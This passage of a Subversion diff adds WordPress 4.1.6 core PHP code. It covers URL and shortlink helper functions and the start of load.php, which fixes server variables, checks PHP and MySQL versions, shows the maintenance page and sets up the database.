+	 * Filter the URL to the content directory.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param string $url  The complete URL to the content directory including scheme and path.
+	 * @param string $path Path relative to the URL to the content directory. Blank string
+	 *                     if no path is specified.
+	 */
+	return apply_filters( 'content_url', $url, $path);
+}
+
+/**
+ * Retrieve a URL within the plugins or mu-plugins directory.
+ *
+ * Defaults to the plugins directory URL if no arguments are supplied.
+ *
+ * @since 2.6.0
+ *
+ * @param  string $path   Optional. Extra path appended to the end of the URL, including
+ *                        the relative directory if $plugin is supplied. Default empty.
+ * @param  string $plugin Optional. A full path to a file inside a plugin or mu-plugin.
+ *                        The URL will be relative to its directory. Default empty.
+ *                        Typically this is done by passing `__FILE__` as the argument.
+ * @return string Plugins URL link with optional paths appended.
+*/
+function plugins_url( $path = '', $plugin = '' ) {
+
+	$path = wp_normalize_path( $path );
+	$plugin = wp_normalize_path( $plugin );
+	$mu_plugin_dir = wp_normalize_path( WPMU_PLUGIN_DIR );
+
+	if ( !empty($plugin) && 0 === strpos($plugin, $mu_plugin_dir) )
+		$url = WPMU_PLUGIN_URL;
+	else
+		$url = WP_PLUGIN_URL;
+
+
+	$url = set_url_scheme( $url );
+
+	if ( !empty($plugin) && is_string($plugin) ) {
+		$folder = dirname(plugin_basename($plugin));
+		if ( '.' != $folder )
+			$url .= '/' . ltrim($folder, '/');
+	}
+
+	if ( $path && is_string( $path ) )
+		$url .= '/' . ltrim($path, '/');
+
+	/**
+	 * Filter the URL to the plugins directory.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param string $url    The complete URL to the plugins directory including scheme and path.
+	 * @param string $path   Path relative to the URL to the plugins directory. Blank string
+	 *                       if no path is specified.
+	 * @param string $plugin The plugin file path to be relative to. Blank string if no plugin
+	 *                       is specified.
+	 */
+	return apply_filters( 'plugins_url', $url, $path, $plugin );
+}
+
+/**
+ * Retrieve the site url for the current network.
+ *
+ * Returns the site url with the appropriate protocol, 'https' if
+ * is_ssl() and 'http' otherwise. If $scheme is 'http' or 'https', is_ssl() is
+ * overridden.
+ *
+ * @since 3.0.0
+ *
+ * @param string $path Optional. Path relative to the site url.
+ * @param string $scheme Optional. Scheme to give the site url context. See set_url_scheme().
+ * @return string Site url link with optional path appended.
+*/
+function network_site_url( $path = '', $scheme = null ) {
+	if ( ! is_multisite() )
+		return site_url($path, $scheme);
+
+	$current_site = get_current_site();
+
+	if ( 'relative' == $scheme )
+		$url = $current_site->path;
+	else
+		$url = set_url_scheme( 'http://' . $current_site->domain . $current_site->path, $scheme );
+
+	if ( $path && is_string( $path ) )
+		$url .= ltrim( $path, '/' );
+
+	/**
+	 * Filter the network site URL.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string      $url    The complete network site URL including scheme and path.
+	 * @param string      $path   Path relative to the network site URL. Blank string if
+	 *                            no path is specified.
+	 * @param string|null $scheme Scheme to give the URL context. Accepts 'http', 'https',
+	 *                            'relative' or null.
+	 */
+	return apply_filters( 'network_site_url', $url, $path, $scheme );
+}
+
+/**
+ * Retrieves the home url for the current network.
+ *
+ * Returns the home url with the appropriate protocol, 'https' {@see is_ssl()}
+ * and 'http' otherwise. If `$scheme` is 'http' or 'https', `is_ssl()` is
+ * overridden.
+ *
+ * @since 3.0.0
+ *
+ * @param  string $path   Optional. Path relative to the home url. Default empty.
+ * @param  string $scheme Optional. Scheme to give the home url context. Accepts
+ *                        'http', 'https', or 'relative'. Default null.
+ * @return string Home url link with optional path appended.
+*/
+function network_home_url( $path = '', $scheme = null ) {
+	if ( ! is_multisite() )
+		return home_url($path, $scheme);
+
+	$current_site = get_current_site();
+	$orig_scheme = $scheme;
+
+	if ( ! in_array( $scheme, array( 'http', 'https', 'relative' ) ) )
+		$scheme = is_ssl() && ! is_admin() ? 'https' : 'http';
+
+	if ( 'relative' == $scheme )
+		$url = $current_site->path;
+	else
+		$url = set_url_scheme( 'http://' . $current_site->domain . $current_site->path, $scheme );
+
+	if ( $path && is_string( $path ) )
+		$url .= ltrim( $path, '/' );
+
+	/**
+	 * Filter the network home URL.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string      $url         The complete network home URL including scheme and path.
+	 * @param string      $path        Path relative to the network home URL. Blank string
+	 *                                 if no path is specified.
+	 * @param string|null $orig_scheme Scheme to give the URL context. Accepts 'http', 'https',
+	 *                                 'relative' or null.
+	 */
+	return apply_filters( 'network_home_url', $url, $path, $orig_scheme);
+}
+
+/**
+ * Retrieve the url to the admin area for the network.
+ *
+ * @since 3.0.0
+ *
+ * @param string $path Optional path relative to the admin url.
+ * @param string $scheme The scheme to use. Default is 'admin', which obeys force_ssl_admin() and is_ssl(). 'http' or 'https' can be passed to force those schemes.
+ * @return string Admin url link with optional path appended.
+*/
+function network_admin_url( $path = '', $scheme = 'admin' ) {
+	if ( ! is_multisite() )
+		return admin_url( $path, $scheme );
+
+	$url = network_site_url('wp-admin/network/', $scheme);
+
+	if ( $path && is_string( $path ) )
+		$url .= ltrim($path, '/');
+
+	/**
+	 * Filter the network admin URL.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string $url  The complete network admin URL including scheme and path.
+	 * @param string $path Path relative to the network admin URL. Blank string if
+	 *                     no path is specified.
+	 */
+	return apply_filters( 'network_admin_url', $url, $path );
+}
+
+/**
+ * Retrieve the url to the admin area for the current user.
+ *
+ * @since 3.0.0
+ *
+ * @param string $path Optional path relative to the admin url.
+ * @param string $scheme The scheme to use. Default is 'admin', which obeys force_ssl_admin() and is_ssl(). 'http' or 'https' can be passed to force those schemes.
+ * @return string Admin url link with optional path appended.
+*/
+function user_admin_url( $path = '', $scheme = 'admin' ) {
+	$url = network_site_url('wp-admin/user/', $scheme);
+
+	if ( $path && is_string( $path ) )
+		$url .= ltrim($path, '/');
+
+	/**
+	 * Filter the user admin URL for the current user.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param string $url  The complete URL including scheme and path.
+	 * @param string $path Path relative to the URL. Blank string if
+	 *                     no path is specified.
+	 */
+	return apply_filters( 'user_admin_url', $url, $path );
+}
+
+/**
+ * Retrieve the url to the admin area for either the current blog or the network depending on context.
+ *
+ * @since 3.1.0
+ *
+ * @param string $path Optional path relative to the admin url.
+ * @param string $scheme The scheme to use. Default is 'admin', which obeys force_ssl_admin() and is_ssl(). 'http' or 'https' can be passed to force those schemes.
+ * @return string Admin url link with optional path appended.
+*/
+function self_admin_url($path = '', $scheme = 'admin') {
+	if ( is_network_admin() )
+		return network_admin_url($path, $scheme);
+	elseif ( is_user_admin() )
+		return user_admin_url($path, $scheme);
+	else
+		return admin_url($path, $scheme);
+}
+
+/**
+ * Set the scheme for a URL
+ *
+ * @since 3.4.0
+ *
+ * @param string $url Absolute url that includes a scheme
+ * @param string $scheme Optional. Scheme to give $url. Currently 'http', 'https', 'login', 'login_post', 'admin', or 'relative'.
+ * @return string $url URL with chosen scheme.
+ */
+function set_url_scheme( $url, $scheme = null ) {
+	$orig_scheme = $scheme;
+
+	if ( ! $scheme ) {
+		$scheme = is_ssl() ? 'https' : 'http';
+	} elseif ( $scheme === 'admin' || $scheme === 'login' || $scheme === 'login_post' || $scheme === 'rpc' ) {
+		$scheme = is_ssl() || force_ssl_admin() ? 'https' : 'http';
+	} elseif ( $scheme !== 'http' && $scheme !== 'https' && $scheme !== 'relative' ) {
+		$scheme = is_ssl() ? 'https' : 'http';
+	}
+
+	$url = trim( $url );
+	if ( substr( $url, 0, 2 ) === '//' )
+		$url = 'http:' . $url;
+
+	if ( 'relative' == $scheme ) {
+		$url = ltrim( preg_replace( '#^\w+://[^/]*#', '', $url ) );
+		if ( $url !== '' && $url[0] === '/' )
+			$url = '/' . ltrim($url , "/ \t\n\r\0\x0B" );
+	} else {
+		$url = preg_replace( '#^\w+://#', $scheme . '://', $url );
+	}
+
+	/**
+	 * Filter the resulting URL after setting the scheme.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param string $url         The complete URL including scheme and path.
+	 * @param string $scheme      Scheme applied to the URL. One of 'http', 'https', or 'relative'.
+	 * @param string $orig_scheme Scheme requested for the URL. One of 'http', 'https', 'login',
+	 *                            'login_post', 'admin', 'rpc', or 'relative'.
+	 */
+	return apply_filters( 'set_url_scheme', $url, $scheme, $orig_scheme );
+}
+
+/**
+ * Get the URL to the user's dashboard.
+ *
+ * If a user does not belong to any site, the global user dashboard is used. If the user belongs to the current site,
+ * the dashboard for the current site is returned. If the user cannot edit the current site, the dashboard to the user's
+ * primary blog is returned.
+ *
+ * @since 3.1.0
+ *
+ * @param int $user_id Optional. User ID. Defaults to current user.
+ * @param string $path Optional path relative to the dashboard. Use only paths known to both blog and user admins.
+ * @param string $scheme The scheme to use. Default is 'admin', which obeys force_ssl_admin() and is_ssl(). 'http' or 'https' can be passed to force those schemes.
+ * @return string Dashboard url link with optional path appended.
+ */
+function get_dashboard_url( $user_id = 0, $path = '', $scheme = 'admin' ) {
+	$user_id = $user_id ? (int) $user_id : get_current_user_id();
+
+	$blogs = get_blogs_of_user( $user_id );
+	if ( ! is_super_admin() && empty($blogs) ) {
+		$url = user_admin_url( $path, $scheme );
+	} elseif ( ! is_multisite() ) {
+		$url = admin_url( $path, $scheme );
+	} else {
+		$current_blog = get_current_blog_id();
+		if ( $current_blog  && ( is_super_admin( $user_id ) || in_array( $current_blog, array_keys( $blogs ) ) ) ) {
+			$url = admin_url( $path, $scheme );
+		} else {
+			$active = get_active_blog_for_user( $user_id );
+			if ( $active )
+				$url = get_admin_url( $active->blog_id, $path, $scheme );
+			else
+				$url = user_admin_url( $path, $scheme );
+		}
+	}
+
+	/**
+	 * Filter the dashboard URL for a user.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param string $url     The complete URL including scheme and path.
+	 * @param int    $user_id The user ID.
+	 * @param string $path    Path relative to the URL. Blank string if no path is specified.
+	 * @param string $scheme  Scheme to give the URL context. Accepts 'http', 'https', 'login',
+	 *                        'login_post', 'admin', 'relative' or null.
+	 */
+	return apply_filters( 'user_dashboard_url', $url, $user_id, $path, $scheme);
+}
+
+/**
+ * Get the URL to the user's profile editor.
+ *
+ * @since 3.1.0
+ *
+ * @param int    $user_id Optional. User ID. Defaults to current user.
+ * @param string $scheme  The scheme to use. Default is 'admin', which obeys force_ssl_admin() and is_ssl().
+ *                        'http' or 'https' can be passed to force those schemes.
+ * @return string Dashboard url link with optional path appended.
+ */
+function get_edit_profile_url( $user_id = 0, $scheme = 'admin' ) {
+	$user_id = $user_id ? (int) $user_id : get_current_user_id();
+
+	if ( is_user_admin() )
+		$url = user_admin_url( 'profile.php', $scheme );
+	elseif ( is_network_admin() )
+		$url = network_admin_url( 'profile.php', $scheme );
+	else
+		$url = get_dashboard_url( $user_id, 'profile.php', $scheme );
+
+	/**
+	 * Filter the URL for a user's profile editor.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param string $url     The complete URL including scheme and path.
+	 * @param int    $user_id The user ID.
+	 * @param string $scheme  Scheme to give the URL context. Accepts 'http', 'https', 'login',
+	 *                        'login_post', 'admin', 'relative' or null.
+	 */
+	return apply_filters( 'edit_profile_url', $url, $user_id, $scheme);
+}
+
+/**
+ * Output rel=canonical for singular queries.
+ *
+ * @since 2.9.0
+*/
+function rel_canonical() {
+	if ( !is_singular() )
+		return;
+
+	global $wp_the_query;
+	if ( !$id = $wp_the_query->get_queried_object_id() )
+		return;
+
+	$link = get_permalink( $id );
+
+	if ( $page = get_query_var('cpage') )
+		$link = get_comments_pagenum_link( $page );
+
+	echo "<link rel='canonical' href='$link' />\n";
+}
+
+/**
+ * Return a shortlink for a post, page, attachment, or blog.
+ *
+ * This function exists to provide a shortlink tag that all themes and plugins can target. A plugin must hook in to
+ * provide the actual shortlinks. Default shortlink support is limited to providing ?p= style links for posts.
+ * Plugins can short-circuit this function via the pre_get_shortlink filter or filter the output
+ * via the get_shortlink filter.
+ *
+ * @since 3.0.0.
+ *
+ * @param int $id A post or blog id. Default is 0, which means the current post or blog.
+ * @param string $context Whether the id is a 'blog' id, 'post' id, or 'media' id. If 'post', the post_type of the post is consulted. If 'query', the current query is consulted to determine the id and context. Default is 'post'.
+ * @param bool $allow_slugs Whether to allow post slugs in the shortlink. It is up to the plugin how and whether to honor this.
+ * @return string A shortlink or an empty string if no shortlink exists for the requested resource or if shortlinks are not enabled.
+ */
+function wp_get_shortlink($id = 0, $context = 'post', $allow_slugs = true) {
+	/**
+	 * Filter whether to preempt generating a shortlink for the given post.
+	 *
+	 * Passing a truthy value to the filter will effectively short-circuit the
+	 * shortlink-generation process, returning that value instead.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param bool|string $return      Short-circuit return value. Either false or a URL string.
+	 * @param int         $id          Post ID, or 0 for the current post.
+	 * @param string      $context     The context for the link. One of 'post' or 'query',
+	 * @param bool        $allow_slugs Whether to allow post slugs in the shortlink.
+	 */
+	$shortlink = apply_filters( 'pre_get_shortlink', false, $id, $context, $allow_slugs );
+
+	if ( false !== $shortlink )
+		return $shortlink;
+
+	global $wp_query;
+	$post_id = 0;
+	if ( 'query' == $context && is_singular() ) {
+		$post_id = $wp_query->get_queried_object_id();
+		$post = get_post( $post_id );
+	} elseif ( 'post' == $context ) {
+		$post = get_post( $id );
+		if ( ! empty( $post->ID ) )
+			$post_id = $post->ID;
+	}
+
+	$shortlink = '';
+
+	// Return p= link for all public post types.
+	if ( ! empty( $post_id ) ) {
+		$post_type = get_post_type_object( $post->post_type );
+
+		if ( 'page' === $post->post_type && $post->ID == get_option( 'page_on_front' ) && 'page' == get_option( 'show_on_front' ) ) {
+			$shortlink = home_url( '/' );
+		} elseif ( $post_type->public ) {
+			$shortlink = home_url( '?p=' . $post_id );
+		}
+	}
+
+	/**
+	 * Filter the shortlink for a post.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string $shortlink   Shortlink URL.
+	 * @param int    $id          Post ID, or 0 for the current post.
+	 * @param string $context     The context for the link. One of 'post' or 'query',
+	 * @param bool   $allow_slugs Whether to allow post slugs in the shortlink. Not used by default.
+	 */
+	return apply_filters( 'get_shortlink', $shortlink, $id, $context, $allow_slugs );
+}
+
+/**
+ *  Inject rel=shortlink into head if a shortlink is defined for the current page.
+ *
+ *  Attached to the wp_head action.
+ *
+ * @since 3.0.0
+ */
+function wp_shortlink_wp_head() {
+	$shortlink = wp_get_shortlink( 0, 'query' );
+
+	if ( empty( $shortlink ) )
+		return;
+
+	echo "<link rel='shortlink' href='" . esc_url( $shortlink ) . "' />\n";
+}
+
+/**
+ * Send a Link: rel=shortlink header if a shortlink is defined for the current page.
+ *
+ * Attached to the wp action.
+ *
+ * @since 3.0.0
+ */
+function wp_shortlink_header() {
+	if ( headers_sent() )
+		return;
+
+	$shortlink = wp_get_shortlink(0, 'query');
+
+	if ( empty($shortlink) )
+		return;
+
+	header('Link: <' . $shortlink . '>; rel=shortlink', false);
+}
+
+/**
+ * Display the Short Link for a Post
+ *
+ * Must be called from inside "The Loop"
+ *
+ * Call like the_shortlink(__('Shortlinkage FTW'))
+ *
+ * @since 3.0.0
+ *
+ * @param string $text Optional The link text or HTML to be displayed. Defaults to 'This is the short link.'
+ * @param string $title Optional The tooltip for the link. Must be sanitized. Defaults to the sanitized post title.
+ * @param string $before Optional HTML to display before the link.
+ * @param string $after Optional HTML to display after the link.
+ */
+function the_shortlink( $text = '', $title = '', $before = '', $after = '' ) {
+	$post = get_post();
+
+	if ( empty( $text ) )
+		$text = __('This is the short link.');
+
+	if ( empty( $title ) )
+		$title = the_title_attribute( array( 'echo' => false ) );
+
+	$shortlink = wp_get_shortlink( $post->ID );
+
+	if ( !empty( $shortlink ) ) {
+		$link = '<a rel="shortlink" href="' . esc_url( $shortlink ) . '" title="' . $title . '">' . $text . '</a>';
+
+		/**
+		 * Filter the shortlink anchor tag for a post.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param string $link      Shortlink anchor tag.
+		 * @param string $shortlink Shortlink URL.
+		 * @param string $text      Shortlink's text.
+		 * @param string $title     Shortlink's title attribute.
+		 */
+		$link = apply_filters( 'the_shortlink', $link, $shortlink, $text, $title );
+		echo $before, $link, $after;
+	}
+}
Index: /tags/4.1.6/src/wp-includes/load.php
===================================================================
--- /tags/4.1.6/src/wp-includes/load.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/load.php	(revision 33402)
@@ -0,0 +1,828 @@
+<?php
+/**
+ * These functions are needed to load WordPress.
+ *
+ * @internal This file must be parsable by PHP4.
+ *
+ * @package WordPress
+ */
+
+/**
+ * Turn register globals off.
+ *
+ * @since 2.1.0
+ * @access private
+ *
+ * @return null Will return null if register_globals PHP directive was disabled.
+ */
+function wp_unregister_GLOBALS() {
+	if ( !ini_get( 'register_globals' ) )
+		return;
+
+	if ( isset( $_REQUEST['GLOBALS'] ) )
+		die( 'GLOBALS overwrite attempt detected' );
+
+	// Variables that shouldn't be unset
+	$no_unset = array( 'GLOBALS', '_GET', '_POST', '_COOKIE', '_REQUEST', '_SERVER', '_ENV', '_FILES', 'table_prefix' );
+
+	$input = array_merge( $_GET, $_POST, $_COOKIE, $_SERVER, $_ENV, $_FILES, isset( $_SESSION ) && is_array( $_SESSION ) ? $_SESSION : array() );
+	foreach ( $input as $k => $v )
+		if ( !in_array( $k, $no_unset ) && isset( $GLOBALS[$k] ) ) {
+			unset( $GLOBALS[$k] );
+		}
+}
+
+/**
+ * Fix `$_SERVER` variables for various setups.
+ *
+ * @since 3.0.0
+ * @access private
+ *
+ * @global string $PHP_SELF The filename of the currently executing script,
+ *                          relative to the document root.
+ */
+function wp_fix_server_vars() {
+	global $PHP_SELF;
+
+	$default_server_values = array(
+		'SERVER_SOFTWARE' => '',
+		'REQUEST_URI' => '',
+	);
+
+	$_SERVER = array_merge( $default_server_values, $_SERVER );
+
+	// Fix for IIS when running with PHP ISAPI
+	if ( empty( $_SERVER['REQUEST_URI'] ) || ( php_sapi_name() != 'cgi-fcgi' && preg_match( '/^Microsoft-IIS\//', $_SERVER['SERVER_SOFTWARE'] ) ) ) {
+
+		// IIS Mod-Rewrite
+		if ( isset( $_SERVER['HTTP_X_ORIGINAL_URL'] ) ) {
+			$_SERVER['REQUEST_URI'] = $_SERVER['HTTP_X_ORIGINAL_URL'];
+		}
+		// IIS Isapi_Rewrite
+		else if ( isset( $_SERVER['HTTP_X_REWRITE_URL'] ) ) {
+			$_SERVER['REQUEST_URI'] = $_SERVER['HTTP_X_REWRITE_URL'];
+		} else {
+			// Use ORIG_PATH_INFO if there is no PATH_INFO
+			if ( !isset( $_SERVER['PATH_INFO'] ) && isset( $_SERVER['ORIG_PATH_INFO'] ) )
+				$_SERVER['PATH_INFO'] = $_SERVER['ORIG_PATH_INFO'];
+
+			// Some IIS + PHP configurations puts the script-name in the path-info (No need to append it twice)
+			if ( isset( $_SERVER['PATH_INFO'] ) ) {
+				if ( $_SERVER['PATH_INFO'] == $_SERVER['SCRIPT_NAME'] )
+					$_SERVER['REQUEST_URI'] = $_SERVER['PATH_INFO'];
+				else
+					$_SERVER['REQUEST_URI'] = $_SERVER['SCRIPT_NAME'] . $_SERVER['PATH_INFO'];
+			}
+
+			// Append the query string if it exists and isn't null
+			if ( ! empty( $_SERVER['QUERY_STRING'] ) ) {
+				$_SERVER['REQUEST_URI'] .= '?' . $_SERVER['QUERY_STRING'];
+			}
+		}
+	}
+
+	// Fix for PHP as CGI hosts that set SCRIPT_FILENAME to something ending in php.cgi for all requests
+	if ( isset( $_SERVER['SCRIPT_FILENAME'] ) && ( strpos( $_SERVER['SCRIPT_FILENAME'], 'php.cgi' ) == strlen( $_SERVER['SCRIPT_FILENAME'] ) - 7 ) )
+		$_SERVER['SCRIPT_FILENAME'] = $_SERVER['PATH_TRANSLATED'];
+
+	// Fix for Dreamhost and other PHP as CGI hosts
+	if ( strpos( $_SERVER['SCRIPT_NAME'], 'php.cgi' ) !== false )
+		unset( $_SERVER['PATH_INFO'] );
+
+	// Fix empty PHP_SELF
+	$PHP_SELF = $_SERVER['PHP_SELF'];
+	if ( empty( $PHP_SELF ) )
+		$_SERVER['PHP_SELF'] = $PHP_SELF = preg_replace( '/(\?.*)?$/', '', $_SERVER["REQUEST_URI"] );
+}
+
+/**
+ * Check for the required PHP version, and the MySQL extension or
+ * a database drop-in.
+ *
+ * Dies if requirements are not met.
+ *
+ * @since 3.0.0
+ * @access private
+ *
+ * @global string $required_php_version The required PHP version string.
+ * @global string $wp_version           The WordPress version string.
+ */
+function wp_check_php_mysql_versions() {
+	global $required_php_version, $wp_version;
+	$php_version = phpversion();
+
+	if ( version_compare( $required_php_version, $php_version, '>' ) ) {
+		wp_load_translations_early();
+		header( 'Content-Type: text/html; charset=utf-8' );
+		die( sprintf( __( 'Your server is running PHP version %1$s but WordPress %2$s requires at least %3$s.' ), $php_version, $wp_version, $required_php_version ) );
+	}
+
+	if ( ! extension_loaded( 'mysql' ) && ! extension_loaded( 'mysqli' ) && ! file_exists( WP_CONTENT_DIR . '/db.php' ) ) {
+		wp_load_translations_early();
+		 header( 'Content-Type: text/html; charset=utf-8' );
+		die( __( 'Your PHP installation appears to be missing the MySQL extension which is required by WordPress.' ) );
+	}
+}
+
+/**
+ * Don't load all of WordPress when handling a favicon.ico request.
+ *
+ * Instead, send the headers for a zero-length favicon and bail.
+ *
+ * @since 3.0.0
+ */
+function wp_favicon_request() {
+	if ( '/favicon.ico' == $_SERVER['REQUEST_URI'] ) {
+		header('Content-Type: image/vnd.microsoft.icon');
+		header('Content-Length: 0');
+		exit;
+	}
+}
+
+/**
+ * Die with a maintenance message when conditions are met.
+ *
+ * Checks for a file in the WordPress root directory named ".maintenance".
+ * This file will contain the variable $upgrading, set to the time the file
+ * was created. If the file was created less than 10 minutes ago, WordPress
+ * enters maintenance mode and displays a message.
+ *
+ * The default message can be replaced by using a drop-in (maintenance.php in
+ * the wp-content directory).
+ *
+ * @since 3.0.0
+ * @access private
+ *
+ * @global int $upgrading the unix timestamp marking when upgrading WordPress began.
+ */
+function wp_maintenance() {
+	if ( !file_exists( ABSPATH . '.maintenance' ) || defined( 'WP_INSTALLING' ) )
+		return;
+
+	global $upgrading;
+
+	include( ABSPATH . '.maintenance' );
+	// If the $upgrading timestamp is older than 10 minutes, don't die.
+	if ( ( time() - $upgrading ) >= 600 )
+		return;
+
+	if ( file_exists( WP_CONTENT_DIR . '/maintenance.php' ) ) {
+		require_once( WP_CONTENT_DIR . '/maintenance.php' );
+		die();
+	}
+
+	wp_load_translations_early();
+
+	$protocol = $_SERVER["SERVER_PROTOCOL"];
+	if ( 'HTTP/1.1' != $protocol && 'HTTP/1.0' != $protocol )
+		$protocol = 'HTTP/1.0';
+	header( "$protocol 503 Service Unavailable", true, 503 );
+	header( 'Content-Type: text/html; charset=utf-8' );
+	header( 'Retry-After: 600' );
+?>
+	<!DOCTYPE html>
+	<html xmlns="http://www.w3.org/1999/xhtml"<?php if ( is_rtl() ) echo ' dir="rtl"'; ?>>
+	<head>
+	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+		<title><?php _e( 'Maintenance' ); ?></title>
+
+	</head>
+	<body>
+		<h1><?php _e( 'Briefly unavailable for scheduled maintenance. Check back in a minute.' ); ?></h1>
+	</body>
+	</html>
+<?php
+	die();
+}
+
+/**
+ * Start the WordPress micro-timer.
+ *
+ * @since 0.71
+ * @access private
+ *
+ * @global float $timestart Unix timestamp set at the beginning of the page load.
+ * @see timer_stop()
+ *
+ * @return bool Always returns true.
+ */
+function timer_start() {
+	global $timestart;
+	$timestart = microtime( true );
+	return true;
+}
+
+/**
+ * Retrieve or display the time from the page start to when function is called.
+ *
+ * @since 0.71
+ *
+ * @global float $timestart Seconds from when timer_start() is called.
+ * @global float $timeend   Seconds from when function is called.
+ *
+ * @param int $display   Whether to echo or return the results. Accepts 0|false for return,
+ *                       1|true for echo. Default 0|false.
+ * @param int $precision The number of digits from the right of the decimal to display.
+ *                       Default 3.
+ * @return string The "second.microsecond" finished time calculation. The number is formatted
+ *                for human consumption, both localized and rounded.
+ */
+function timer_stop( $display = 0, $precision = 3 ) {
+	global $timestart, $timeend;
+	$timeend = microtime( true );
+	$timetotal = $timeend - $timestart;
+	$r = ( function_exists( 'number_format_i18n' ) ) ? number_format_i18n( $timetotal, $precision ) : number_format( $timetotal, $precision );
+	if ( $display )
+		echo $r;
+	return $r;
+}
+
+/**
+ * Set PHP error reporting based on WordPress debug settings.
+ *
+ * Uses three constants: `WP_DEBUG`, `WP_DEBUG_DISPLAY`, and `WP_DEBUG_LOG`.
+ * All three can be defined in wp-config.php, and by default are set to false.
+ *
+ * When `WP_DEBUG` is true, all PHP notices are reported. WordPress will also
+ * display internal notices: when a deprecated WordPress function, function
+ * argument, or file is used. Deprecated code may be removed from a later
+ * version.
+ *
+ * It is strongly recommended that plugin and theme developers use `WP_DEBUG`
+ * in their development environments.
+ *
+ * `WP_DEBUG_DISPLAY` and `WP_DEBUG_LOG` perform no function unless `WP_DEBUG`
+ * is true.
+ *
+ * When `WP_DEBUG_DISPLAY` is true, WordPress will force errors to be displayed.
+ * `WP_DEBUG_DISPLAY` defaults to true. Defining it as null prevents WordPress
+ * from changing the global configuration setting. Defining `WP_DEBUG_DISPLAY`
+ * as false will force errors to be hidden.
+ *
+ * When `WP_DEBUG_LOG` is true, errors will be logged to debug.log in the content
+ * directory.
+ *
+ * Errors are never displayed for XML-RPC requests.
+ *
+ * @since 3.0.0
+ * @access private
+ */
+function wp_debug_mode() {
+	if ( WP_DEBUG ) {
+		error_reporting( E_ALL );
+
+		if ( WP_DEBUG_DISPLAY )
+			ini_set( 'display_errors', 1 );
+		elseif ( null !== WP_DEBUG_DISPLAY )
+			ini_set( 'display_errors', 0 );
+
+		if ( WP_DEBUG_LOG ) {
+			ini_set( 'log_errors', 1 );
+			ini_set( 'error_log', WP_CONTENT_DIR . '/debug.log' );
+		}
+	} else {
+		error_reporting( E_CORE_ERROR | E_CORE_WARNING | E_COMPILE_ERROR | E_ERROR | E_WARNING | E_PARSE | E_USER_ERROR | E_USER_WARNING | E_RECOVERABLE_ERROR );
+	}
+	if ( defined( 'XMLRPC_REQUEST' ) )
+		ini_set( 'display_errors', 0 );
+}
+
+/**
+ * Set the location of the language directory.
+ *
+ * To set directory manually, define the `WP_LANG_DIR` constant
+ * in wp-config.php.
+ *
+ * If the language directory exists within `WP_CONTENT_DIR`, it
+ * is used. Otherwise the language directory is assumed to live
+ * in `WPINC`.
+ *
+ * @since 3.0.0
+ * @access private
+ */
+function wp_set_lang_dir() {
+	if ( !defined( 'WP_LANG_DIR' ) ) {
+		if ( file_exists( WP_CONTENT_DIR . '/languages' ) && @is_dir( WP_CONTENT_DIR . '/languages' ) || !@is_dir(ABSPATH . WPINC . '/languages') ) {
+			/**
+			 * Server path of the language directory.
+			 *
+			 * No leading slash, no trailing slash, full path, not relative to ABSPATH
+			 *
+			 * @since 2.1.0
+			 */
+			define( 'WP_LANG_DIR', WP_CONTENT_DIR . '/languages' );
+			if ( !defined( 'LANGDIR' ) ) {
+				// Old static relative path maintained for limited backwards compatibility - won't work in some cases
+				define( 'LANGDIR', 'wp-content/languages' );
+			}
+		} else {
+			/**
+			 * Server path of the language directory.
+			 *
+			 * No leading slash, no trailing slash, full path, not relative to `ABSPATH`.
+			 *
+			 * @since 2.1.0
+			 */
+			define( 'WP_LANG_DIR', ABSPATH . WPINC . '/languages' );
+			if ( !defined( 'LANGDIR' ) ) {
+				// Old relative path maintained for backwards compatibility
+				define( 'LANGDIR', WPINC . '/languages' );
+			}
+		}
+	}
+}
+
+/**
+ * Load the database class file and instantiate the `$wpdb` global.
+ *
+ * @since 2.5.0
+ *
+ * @global wpdb $wpdb The WordPress database class.
+ */
+function require_wp_db() {
+	global $wpdb;
+
+	require_once( ABSPATH . WPINC . '/wp-db.php' );
+	if ( file_exists( WP_CONTENT_DIR . '/db.php' ) )
+		require_once( WP_CONTENT_DIR . '/db.php' );
+
+	if ( isset( $wpdb ) )
+		return;
+
+	$wpdb = new wpdb( DB_USER, DB_PASSWORD, DB_NAME, DB_HOST );
+}
+
+/**
+ * Set the database table prefix and the format specifiers for database
+ * table columns.
+ *
+ * Columns not listed here default to `%s`.
+ *
+ * @since 3.0.0
+ * @access private
+ *
+ * @global wpdb   $wpdb         The WordPress database class.
+ * @global string $table_prefix The database table prefix.
+ */
+function wp_set_wpdb_vars() {
+	global $wpdb, $table_prefix;
+	if ( !empty( $wpdb->error ) )
+		dead_db();
+
+	$wpdb->field_types = array( 'post_author' => '%d', 'post_parent' => '%d', 'menu_order' => '%d', 'term_id' => '%d', 'term_group' => '%d', 'term_taxonomy_id' => '%d',
+		'parent' => '%d', 'count' => '%d','object_id' => '%d', 'term_order' => '%d', 'ID' => '%d', 'comment_ID' => '%d', 'comment_post_ID' => '%d', 'comment_parent' => '%d',
+		'user_id' => '%d', 'link_id' => '%d', 'link_owner' => '%d', 'link_rating' => '%d', 'option_id' => '%d', 'blog_id' => '%d', 'meta_id' => '%d', 'post_id' => '%d',
+		'user_status' => '%d', 'umeta_id' => '%d', 'comment_karma' => '%d', 'comment_count' => '%d',
+		// multisite:
+		'active' => '%d', 'cat_id' => '%d', 'deleted' => '%d', 'lang_id' => '%d', 'mature' => '%d', 'public' => '%d', 'site_id' => '%d', 'spam' => '%d',
+	);
+
+	$prefix = $wpdb->set_prefix( $table_prefix );
+
+	if ( is_wp_error( $prefix ) ) {
+		wp_load_translations_early();
+		wp_die( __( '<strong>ERROR</strong>: <code>$table_prefix</code> in <code>wp-config.php</code> can only contain numbers, letters, and underscores.' ) );
+	}
+}
+
+/**
+ * Access/Modify private global variable `$_wp_using_ext_object_cache`.
+ *
+ * Toggle `$_wp_using_ext_object_cache` on and off without directly
+ * touching global.
+ *
